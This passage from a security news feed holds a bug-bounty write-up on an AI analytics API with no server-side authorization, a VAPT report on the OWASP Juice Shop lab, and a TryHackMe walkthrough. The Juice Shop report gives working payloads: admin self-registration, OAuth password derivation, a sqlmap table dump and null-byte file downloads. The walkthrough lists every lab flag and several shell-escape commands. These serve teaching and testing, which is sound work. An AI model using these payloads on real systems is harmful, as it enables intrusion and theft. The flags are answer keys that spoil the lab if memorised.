OK — full conversation history for that email address returnedGET /conversations?user_email=&lt;any-email&gt;</pre><p>No verification that the requester <em>is</em> that email address — just supply it and read their history.</p><p>Expected behavior for all three: 401 Unauthorized. Actual: 200 OK, full access.</p><h3><strong>Attack Chain</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ASZz1mQmnl81UjJjru3pZw.png"></figure><p>Individually, each issue represented a security weakness. Combined, they resulted in a complete authorization failure.</p><h3>Root Cause Analysis</h3><ul><li>Authentication was never enforced</li><li>User identity was trusted from client input</li><li>Authorization relied on client-controlled metadata</li><li>Public API documentation exposed the full attack surface</li><li>Critical authorization decisions occurred entirely on the client side</li></ul><h3>Impact</h3><p>An unauthenticated, remote, anonymous attacker could:</p><ul><li>Consume a paid AI analytics product with zero subscription</li><li>Pull real-time competitive intelligence (pricing, market share, revenue) meant to be a paid enterprise product</li><li>Enumerate/guess customer emails to read private conversation histories</li><li>Escalate from a “demo” tier to “enterprise” by editing a JSON field</li><li>Perform unauthenticated DELETE and PATCH on other users' conversation records — a data-integrity/destruction risk, not just a confidentiality one</li></ul><h3>Suggested Remediation</h3><ol><li>Require real authentication (e.g., validated OAuth/OIDC bearer tokens) on every endpoint; reject unauthenticated calls with 401.</li><li>Derive user identity <strong>only</strong> from the validated token — never from a client-supplied user_email parameter.</li><li>Enforce subscription tier and all permissions <strong>server-side</strong>, from the authenticated principal’s actual entitlements — never trust client-supplied user_metadata.</li><li>Remove or gate /docs, /redoc, and /openapi.json behind auth in production.</li><li>Add per-user rate limiting and audit logging tied to the authenticated identity.</li></ol><h3>Lessons Learned</h3><ul><li>Authentication and authorization solve different problems</li><li>Public API documentation accelerates reconnaissance</li><li>Client-controlled metadata must never influence authorization</li><li>Every permission should be verified on the server</li><li>Multiple low-complexity issues can combine into a critical compromise</li></ul><h3>Responsible Disclosure</h3><p>This issue was reported responsibly through the vendor’s vulnerability disclosure process. The article intentionally omits identifying details, implementation-specific information, and production artifacts.</p><h3>Takeaway</h3><p>An OpenAPI spec with no securitySchemes block and a Swagger UI with no "Authorize" button is a five-second tell that a supposedly "enterprise-grade" AI product may have no server-side authorization at all — identity and entitlement were both being trusted from client-supplied JSON. Worth checking on any AI agent/chatbot API you test: does the <em>server</em> actually verify who you are and what you're allowed to see, or is it just trusting what you tell it?</p><blockquote><em>Next in this series: Bounty Case Files #02</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=1607f0cf12ca" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/zero-credentials-full-access-inside-a-complete-authorization-failure-1607f0cf12ca">Zero Credentials, Full Access: Inside a Complete Authorization Failure</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[VAPT Report Example]]></title>
<description><![CDATA[This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.Setup OWASP Juice Shop Locally Using DockerInstall DockerRun:docker pull bkimmini...]]></description>
<link>https://tsecurity.de/de/3675301/hacking/vapt-report-example/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675301/hacking/vapt-report-example/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.</p><h3>Setup OWASP Juice Shop Locally Using Docker</h3><h3>Install Docker</h3><p>Run:</p><pre>docker pull bkimminich/juice-shop<br>docker run - rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop</pre><p>Browse to:<br> <a href="http://localhost:3000/">http://localhost:3000</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*mwz1GNdYbcw3HOLUQX1vGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*089pKG_zM-T4UOMGPzYjRw.png"></figure><h3>1. Privilege Escalation via User Registration API</h3><h3>Summary (with CWE)</h3><p>The application allows an attacker to self-register an administrator account by directly invoking the user creation API and supplying the role parameter in the request body. Due to missing server-side authorization and role validation, the backend blindly trusts client input. This results in unauthorized privilege escalation, granting full administrative access without authentication or approval.</p><h3>CWE ID</h3><ul><li>CWE-269 — Improper Privilege Management</li><li>CWE-285 — Improper Authorization</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</p><h3>Metrics:</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: High</li></ul><p><strong>CVSS Base Score:</strong> 9.8 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop exposes a user registration API endpoint (/api/Users) that accepts user details in JSON format. The backend fails to enforce role based access control during user creation and allows the client to specify sensitive attributes such as role. An attacker can exploit this flaw by sending a crafted POST request with "role":"admin", resulting in the creation of an administrator account without any authorization checks.</p><p>This vulnerability completely compromises the application, as administrative privileges allow full access to sensitive data and management functions.</p><h3>Steps to Reproduce</h3><ol><li>Send a POST request to: http://localhost:3000/api/Users</li><li>Edit request body and add role parameter: { "role": "admin" }</li><li>Submit the request using Burp Suite.</li><li>The server responds with a successful user creation message.</li><li>Log in using the created credentials.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yEWUogo4-1Uor4o5aDkSyQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tam4-35GCakrERj7NHew5g.png"></figure><h3>Suggested Remediation</h3><ul><li>Enforce server-side role control</li><li>Default role assignment</li><li>Allow admin role assignment only through authenticated admin workflows</li><li>Validate permissions on every sensitive endpoint</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">OWASP Top 10 — Broken Access Control</a></li><li><a href="https://cwe.mitre.org/data/definitions/269.html">CWE-269: Improper Privilege Management</a></li><li><a href="https://cwe.mitre.org/data/definitions/285.html">CWE-285: Improper Authorization</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>2. OAuth Account Takeover</h3><h3>Summary (with CWE)</h3><p>OWASP Juice Shop implements Google OAuth login in an insecure manner by deterministically generating user passwords on the client side. The password is derived by reversing the user’s email address and Base64-encoding it, which can be easily reproduced by an attacker.</p><p>This design flaw allows an attacker to log in directly using email/password authentication for an OAuth-registered user, resulting in full account takeover without cracking hashes or bypassing authentication controls.</p><h3>CWE ID</h3><ul><li>CWE-522 — Insufficiently Protected Credentials</li><li>CWE-287 — Improper Authentication</li><li>CWE-284 — Improper Access Control</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop allows users to register and log in via Google OAuth. During this process, the application uses a client-side JavaScript function userService.oauthLogin() found in main.js.</p><p>The OAuth workflow internally calls:</p><ul><li>userService.save() (user creation)</li><li>userService.login() (standard login)</li></ul><p>Both functions set the user password using the following logic:</p><pre>password = btoa(n.email.split("").reverse().join(""))</pre><h3>Password Generation Logic</h3><ul><li>The email address is reversed.</li><li>The reversed string is Base64-encoded.</li><li>The result is used as the account password.</li></ul><h3>Steps to Reproduce:</h3><h4>Identify OAuth Password Logic</h4><ul><li>Open main.js</li><li>Search for oauthLogin</li><li>Locate: password: btoa(n.email.split("").reverse().join(""))</li></ul><h4>Derive Victim Password</h4><p>Email: bjoern@gmail.com<br> Reversed: moc.liamg@nreojb<br> Base64 encoded password:</p><pre>bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*vCdCuyVKLSiLH_hhpgCIGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ICsFhQCtxrXuosRiVJRgOQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Never generate passwords client-side</li><li>Separate OAuth and password authentication</li><li>Use strong, random credentials</li><li>Do not expose authentication logic</li><li>Perform security design reviews</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/">OWASP Top 10 — Broken Authentication</a></li><li><a href="https://cwe.mitre.org/data/definitions/522.html">CWE-522 — Insufficiently Protected Credentials</a></li><li><a href="https://datatracker.ietf.org/doc/html/rfc8252">OAuth 2.0 Security Best Practices (RFC 8252)</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>3. SQL Injection in Product Search Endpoint</h3><h3>Summary (with CWE)</h3><p>An SQL Injection (SQLi) vulnerability was identified in the product search functionality of OWASP Juice Shop. The application fails to properly sanitize user-controlled input in the q parameter, allowing attackers to inject malicious SQL queries.</p><p>This flaw enables unauthorized database access, including enumeration of database tables and potential exposure of sensitive data.</p><h3>CWE ID</h3><p>CWE-89 — Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)</p><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>The /rest/products/search API endpoint accepts user input via the <strong>q</strong> parameter to search for products. This input is directly incorporated into backend SQL queries without sufficient sanitization or parameterization.</p><p>An attacker can exploit this weakness to inject arbitrary SQL commands, allowing enumeration of database schema and extraction of sensitive information. Automated tools such as <strong>sqlmap</strong> can successfully detect and exploit this vulnerability, confirming the presence of SQL injection.</p><p>This issue represents a complete breakdown of input validation and secure query handling, posing a serious risk to application confidentiality and integrity.</p><h3>Exploit Using sqlmap</h3><pre>sqlmap -u "http://localhost:3000/rest/products/search?q=apple" --tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oE0CHEd8TUToNy1MGhy4qg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m9UhO9JS5Hl3YCBxryIDuA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6jvJUSScWD63XiOpBgzuQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oTjbupN8n126CTwsYotbYQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KFsmogCi-BSuofuUDJ45vg.png"></figure><p>Got User credentials :)</p><h3>Suggested Remediation</h3><ul><li>Sanitize and validate all user-supplied inputs</li><li>Implement parameterized queries</li><li>Deploy a Web Application Firewall (WAF)</li><li>Enable logging &amp; monitoring</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-community/attacks/SQL_Injection">OWASP SQL Injection Prevention Cheat Sheet</a></li><li><a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89 — SQL Injection</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Documentation</a></li><li>CVSS v3.1 Specification: <a href="https://www.first.org/cvss/v3.1/">https://www.first.org/cvss/v3.1/</a></li></ol><h3>4. Arbitrary File Download via Poison Null Byte Injection</h3><h3>Summary (with CWE)</h3><p>The application is vulnerable to <strong>Poison Null Byte Injection</strong>, allowing an attacker to bypass file extension validation and download <strong>sensitive backup files</strong> stored on the server. By exploiting improper input validation and unsafe file handling, restricted backup files such as developer and salesman data can be accessed.</p><h3>CWE ID</h3><ul><li>CWE-158 — Improper Neutralization of Null Byte</li><li>CWE-22 — Improper Limitation of Pathname to Restricted Directory</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</p><p><strong>CVSS Base Score:</strong> 7.5 (High)</p><h3>Description</h3><p>OWASP Juice Shop restricts file downloads in the /ftp endpoint by validating file extensions. However, this validation can be bypassed using a <strong>Poison Null Byte (%00) injection</strong> combined with <strong>double URL encoding</strong>.</p><p>The backend improperly handles null bytes during file system access, causing the application to truncate the filename at the null byte and serve restricted backup files (e.g., .bak) while still passing extension validation checks.</p><p>This results in <strong>unauthorized access to sensitive backup files</strong>, potentially exposing configuration details, credentials, or business data.</p><h3>Steps to Reproduce:</h3><h4><strong>Access a Developer’s Forgotten Backup File:</strong></h4><ol><li>Navigate to the FTP directory: <a href="http://localhost:3000/ftp">http://localhost:3000/ftp</a></li><li>Attempt direct access (fails due to extension restriction): <a href="http://localhost:3000/ftp/package.json.bak">http://localhost:3000/ftp/package.json.bak</a></li><li>Try Poison Null Byte injection (fails initially): <a href="http://localhost:3000/ftp/package.json.bak%00.md">http://localhost:3000/ftp/package.json.bak%00.md</a></li><li>URL-encode the % character as well: <a href="http://localhost:3000/ftp/package.json.bak%2500.md">http://localhost:3000/ftp/package.json.bak%2500.md</a></li></ol><p>The server successfully returns the <strong>restricted backup file</strong>, completing the exploit.</p><h4><strong>Access a Salesman’s Forgotten Backup File</strong>:</h4><ol><li>Use the same Poison Null Byte technique: <a href="http://localhost:3000/ftp/coupons_2013.md.bak%2500.md">http://localhost:3000/ftp/coupons_2013.md.bak%2500.md</a></li><li>The backup file downloads successfully, revealing sensitive business data.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lvtP_eSL1Sza2N8_1_1Yag.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxtA320Y7ic8X98oKXa02A.png"></figure><p>Backup file downloads successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZwQ-UUtHidNkJxdbtjDSgw.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*-mITIIF8p-SjS0LxXk8ViQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Reject null bytes explicitly</li><li>Decode input before validation</li><li>Use allow-listed file access</li><li>Disable public access to backups</li><li>Use secure file APIs</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Foundation — OWASP Juice Shop</a></li><li><a href="https://cwe.mitre.org/data/definitions/158.html">CWE-158: Improper Neutralization of Null Byte</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Testing Guide — File Handling Vulnerabilities</a></li><li><a href="https://portswigger.net/web-security/file-path-traversal">PortSwigger — File Path Traversal &amp; Null Byte Attacks</a></li></ol><h3>Thanks For Reading :)</h3><p><strong>Happy Hacking ;)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=f8440a9735c1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/vapt-report-example-f8440a9735c1">VAPT Report Example</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe — Linux Agency | Complete Write-Up & Walkthrough]]></title>
<description><![CDATA[“Agent 47, your mission begins. 30 targets stand between you and the root.”Author: Shikhali JamalzadeGitHub: github.com/alisaliveLinkedIn: linkedin.com/in/camalzads📋 Room OverviewPlatform TryHackMe Room Name Linux Agency Link https://tryhackme.com/room/linuxagency Difficulty Medium Category Linux...]]></description>
<link>https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:38 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSkSbmZiLuuvwoZUpWjb2w.png"></figure><blockquote>“Agent 47, your mission begins. 30 targets stand between you and the root.”<br>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br>GitHub<strong>:</strong> <a href="https://github.com/alisalive">github.com/alisalive</a><br>LinkedIn<strong>:</strong> <a href="https://linkedin.com/in/camalzads">linkedin.com/in/camalzads</a></blockquote><h3>📋 Room Overview</h3><p><strong>Platform</strong> TryHackMe <br><strong>Room Name</strong> Linux Agency <br><strong>Link</strong> <a href="https://tryhackme.com/room/linuxagency">https://tryhackme.com/room/linuxagency</a> <br><strong>Difficulty</strong> Medium <br><strong>Category</strong> Linux Fundamentals + Privilege Escalation <br><strong>Initial Access</strong> SSH (agent47)</p><h3>🎯 About This Room</h3><p><strong>Linux Agency</strong> is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of <strong>Agent 47</strong> — a secret agent tasked with infiltrating the ICA Agency, chaining through <strong>30 mission accounts</strong>, eliminating special targets, and ultimately achieving <strong>root</strong>.</p><p>This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:</p><ul><li>🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)</li><li>💻 Multiple programming languages (Python, Ruby, Java, C)</li><li>🔐 Encoding/decoding (Base64, Binary, Hex)</li><li>📅 Cron job exploitation</li><li>⚡ Sudo privilege escalation via GTFOBins</li><li>🐳 Docker privilege escalation</li><li>🔑 SSH private key cracking</li></ul><h3>🛠️ Tools Used</h3><ul><li>ssh, su, find, grep, cat, ls, strings, file</li><li>base64, xxd</li><li>gcc, javac, java, python3, ruby</li><li>netcat (nc)</li><li>ssh2john + john (John the Ripper)</li><li>ss (socket statistics)</li><li>GTFOBins</li><li>Docker</li></ul><h3>⚙️ Setup</h3><p>Start the machine on TryHackMe and wait about a minute. Then connect:</p><pre>ssh agent47@&lt;MACHINE_IP&gt;</pre><p><strong>Password:</strong> 640509040147</p><p>Once connected you’ll see:</p><pre>agent47@linuxagency:~$</pre><p>The mission begins. 🚀</p><h3>🗂️ Task 2: Initial Access</h3><p>The room’s mechanic is straightforward:</p><ul><li>Every flag found acts as the <strong>password</strong> for the next user</li><li>Flag format: missionX{md5_hash}</li><li>Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...</li></ul><h3>🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)</h3><h3>🎯 Mission 1</h3><p>As <strong>agent47</strong>, the first task is finding mission1’s flag.</p><pre>find / -type f -name "*.txt" 2&gt;/dev/null<br># Or directly check:<br>ls /home/mission1/<br>cat /home/mission1/&lt;flag_file&gt;</pre><p>Now switch to mission1:</p><pre>su mission1<br># Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>find for filesystem-wide searching, understanding the </em><em>/home directory structure.</em></blockquote><h3>🎯 Mission 2</h3><p>As <strong>mission1</strong>:</p><pre>find / -type f -name "mission2" 2&gt;/dev/null<br>cat &lt;found_path&gt;</pre><pre>su mission2<br># Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}</pre><h3>🎯 Mission 3</h3><pre># As mission2:<br>grep -r "mission3" . 2&gt;/dev/null</pre><pre>su mission3<br># Password: mission3{ab1e1ae5cba688340825103f70b0f976}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>grep -r for recursive content searching across directories.</em></blockquote><h3>🎯 Mission 4</h3><pre># As mission3:<br>cd /home/mission3<br>ls<br>cat flag.txt</pre><pre>su mission4<br># Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}</pre><h3>🎯 Missions 5–8</h3><p>These follow a similar pattern — searching the filesystem:</p><pre># As mission4:<br>grep -r "mission5" / 2&gt;/dev/null<br>su mission5<br># Password: mission5{bc67906710c3a376bcc7bd25978f62c0}</pre><pre># As mission5:<br>grep -r "mission6" / 2&gt;/dev/null<br>su mission6<br># Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}</pre><pre># As mission6:<br>grep -r "mission7" / 2&gt;/dev/null<br>su mission7<br># Password: mission7{53fd6b2bad6e85519c7403267225def5}</pre><pre># As mission7:<br>grep -r "mission8" / 2&gt;/dev/null<br>su mission8<br># Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}</pre><h3>🎯 Mission 9</h3><pre># As mission8:<br>ls<br>cat flag.txt</pre><pre>su mission9<br># Password: mission9{ba1069363d182e1c114bef7521c898f5}</pre><h3>🎯 Missions 10–11</h3><pre># As mission9:<br>grep -r "mission10" / 2&gt;/dev/null<br>su mission10<br># Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}</pre><pre># As mission10:<br>grep -r "mission11" / 2&gt;/dev/null<br>su mission11<br># Password: mission11{db074d9b68f06246944b991d433180c0}</pre><h3>🎯 Mission 12 — Environment Variable</h3><p>This time the flag is hidden inside an <strong>environment variable</strong>, not a file!</p><pre># As mission11:<br>env | grep mission12</pre><pre>su mission12<br># Password: mission12{f449a1d33d6edc327354635967f9a720}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!</em></blockquote><h3>🎯 Mission 13 — File Permissions</h3><pre># As mission12:<br>ls -la /home/mission12/<br># flag.txt exists but you have no read permission!<br>chmod 777 /home/mission12/flag.txt<br>cat /home/mission12/flag.txt</pre><pre>su mission13<br># Password: mission13{076124e360406b4c98ecefddd13ddb1f}</pre><blockquote><strong>💡 What we learned:</strong><em> Linux file permissions and </em><em>chmod. Always use </em><em>ls -la — the </em><em>-a flag reveals hidden files and the </em><em>-l flag shows permissions clearly.</em></blockquote><h3>🎯 Mission 14 — Base64 Decode</h3><pre># As mission13:<br>cat /home/mission13/flag.txt | base64 -d</pre><pre>su mission14<br># Password: mission14{d598de95639514b9941507617b9e54d2}</pre><blockquote><strong>💡 What we learned:</strong><em> Base64 encoding/decoding. Strings ending with </em><em>= or </em><em>== are almost always Base64-encoded. The </em><em>base64 -d flag decodes them directly in the terminal.</em></blockquote><h3>🎯 Mission 15 — Binary → ASCII</h3><pre># As mission14:<br>cat /home/mission14/flag.txt<br># You'll see binary digits: 01101101 01101001 ...</pre><p>Convert the binary to ASCII using Python:</p><pre>python3 -c "<br>binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'<br>chars = binary.split()<br>result = ''.join([chr(int(b, 2)) for b in chars])<br>print(result)<br>"</pre><p>Or use an online tool: <a href="https://www.rapidtables.com/convert/number/binary-to-ascii.html">https://www.rapidtables.com/convert/number/binary-to-ascii.html</a></p><pre>su mission15<br># Password: mission15{fc4915d818bfaeff01185c3547f25596}</pre><blockquote><strong>💡 What we learned:</strong><em> Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.</em></blockquote><h3>🎯 Mission 16 — Hex → ASCII</h3><pre># As mission15:<br>cat /home/mission15/flag.txt | xxd -r -p</pre><p>xxd -r -p converts a raw hex string directly back to ASCII.</p><pre>su mission16<br># Password: mission16{884417d40033c4c2091b44d7c26a908e}</pre><blockquote><strong>💡 What we learned:</strong><em> Hex decoding. </em><em>xxd dumps hex (-p for plain hex), and with </em><em>-r it reverses the process.</em></blockquote><h3>🎯 Mission 17 — Execute Permission</h3><pre># As mission16:<br>ls -la /home/mission16/<br># There's a 'flag' binary but it has no execute permission<br>chmod u+x /home/mission16/flag<br>./flag</pre><pre>su mission17<br># Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}</pre><h3>🎯 Mission 18 — Java</h3><pre># As mission17:<br>ls /home/mission17/<br># flag.java found<br>cd /home/mission17/<br>javac flag.java      # Compile<br>java flag            # Run</pre><pre>su mission18<br># Password: mission18{f09760649986b489cda320ab5f7917e8}</pre><blockquote><strong>💡 What we learned:</strong><em> Java compilation workflow: </em><em>javac compiles </em><em>.java → </em><em>.class, then </em><em>java runs the class.</em></blockquote><h3>🎯 Mission 19 — Ruby</h3><pre># As mission18:<br>ruby /home/mission18/flag.rb</pre><pre>su mission19<br># Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}</pre><h3>🎯 Mission 20 — C Language</h3><pre># As mission19:<br>cd /home/mission19/<br>gcc flag.c -o flag   # Compile<br>./flag               # Run</pre><pre>su mission20<br># Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}</pre><blockquote><strong>💡 What we learned:</strong><em> C compilation: </em><em>gcc source.c -o output_name then </em><em>./output_name to execute.</em></blockquote><h3>🎯 Mission 21 — Python</h3><pre># As mission20:<br>python3 /home/mission20/flag.py</pre><pre>su mission21<br># Password: mission21{7de756aabc528b446f6eb38419318f0c}</pre><h3>🎯 Mission 22 — Restricted Shell Escape (script)</h3><p>When you log in as <strong>mission21</strong>, you’re dropped into a restricted shell. Escape using:</p><pre>script -qc /bin/bash /dev/null</pre><p>This spawns a full bash shell. Now check .bashrc:</p><pre>cat ~/.bashrc<br># You'll find a Base64-encoded string<br>echo '&lt;base64_string&gt;' | base64 -d</pre><pre>su mission22<br># Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}</pre><blockquote><strong>💡 What we learned:</strong><em> Restricted shell escape using the </em><em>script command, which opens a new terminal session. Always check </em><em>.bashrc and </em><em>.bash_profile — attackers hide data there, and defenders do too.</em></blockquote><h3>🎯 Mission 23 — Python Interpreter Shell Escape</h3><p>Logging in as <strong>mission22</strong> drops you into a Python REPL. Escape to bash:</p><pre>import pty<br>pty.spawn("/bin/bash")</pre><p>Now read the flag:</p><pre>cat /home/mission22/flag.txt</pre><pre>su mission23<br># Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}</pre><blockquote><strong>💡 What we learned:</strong><em> Python </em><em>pty.spawn() for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!</em></blockquote><h3>🎯 Mission 24 — Virtual Host + cURL</h3><pre># As mission23:<br>cat /home/mission23/message.txt<br>cat /etc/hosts<br># You'll see mission24.com mapped to 127.0.0.1<br>curl http://mission24.com -s | grep mission</pre><pre>su mission24<br># Password: mission24{dbaeb06591a7fd6230407df3a947b89c}</pre><blockquote><strong>💡 What we learned:</strong><em> Virtual hosting — the </em><em>/etc/hosts file acts as a local DNS resolver. In real engagements, always check </em><em>/etc/hosts for internal hostnames that reveal additional attack surface.</em></blockquote><h3>🎯 Mission 25 — Binary Analysis + viminfo</h3><pre># As mission24:<br>ls /home/mission24/<br>file bribe              # Check the file type<br>./bribe                 # Execute it — it writes to .viminfo<br>grep mission /home/mission24/.viminfo</pre><pre>su mission25<br># Password: mission25{61b93637881c87c71f220033b22a921b}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>file command identifies file types regardless of extension. </em><em>.viminfo is a hidden file storing Vim history — always run </em><em>ls -la to catch hidden files!</em></blockquote><h3>🎯 Mission 26 — PATH Manipulation</h3><p>Logging in as <strong>mission25</strong> gives you a broken environment — commands don’t work because $PATH is corrupted.</p><pre>echo $PATH<br># Empty or wrong PATH</pre><pre>export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin<br>ls -lhA<br>cat flag.txt</pre><pre>su mission26<br># Password: mission26{cb6ce977c16c57f509e9f8462a120f00}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>$PATH environment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.</em></blockquote><h3>🎯 Mission 27 — Steganography with strings</h3><pre># As mission26:<br>ls /home/mission26/<br>strings -n 20 /home/mission26/flag.jpg</pre><p>strings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.</p><pre>su mission27<br># Password: mission27{444d29b932124a48e7dddc0595788f4d}</pre><blockquote><strong>💡 What we learned:</strong><em> Basic steganography — data hidden inside image files. </em><em>strings is a quick first step when analyzing any binary or media file during a CTF or real engagement.</em></blockquote><h3>🎯 Mission 28 — Absurdly Long Filename</h3><pre># As mission27:<br>ls /home/mission27/<br>less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz</pre><p>Yes, the filename is exactly that long. less handles it fine.</p><pre>su mission28<br># Password: mission28{03556f8ca983ef4dc26d2055aef9770f}</pre><h3>🎯 Mission 29 — Ruby Interpreter + Reverse String</h3><p>Logging in as <strong>mission28</strong> drops you into a Ruby REPL.</p><p><strong>Option 1 — Escape to shell:</strong></p><pre>exec "/bin/bash"</pre><p><strong>Option 2 — Read the file directly from Ruby:</strong></p><pre>Dir.chdir("/home/mission28")<br>puts File.open("txt.galf").readlines</pre><p>The flag is written in reverse! You’ll see something like:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'</pre><p>Reverse it:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse</pre><pre>su mission29<br># Password: mission29{8192b05d8b12632586e25be74da2fff1}</pre><blockquote><strong>💡 What we learned:</strong><em> Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename </em><em>txt.galf — that's </em><em>flag.txt reversed!</em></blockquote><h3>🎯 Mission 30 — Bludit CMS Enumeration</h3><pre># As mission29:<br>ls /home/mission29/<br>grep 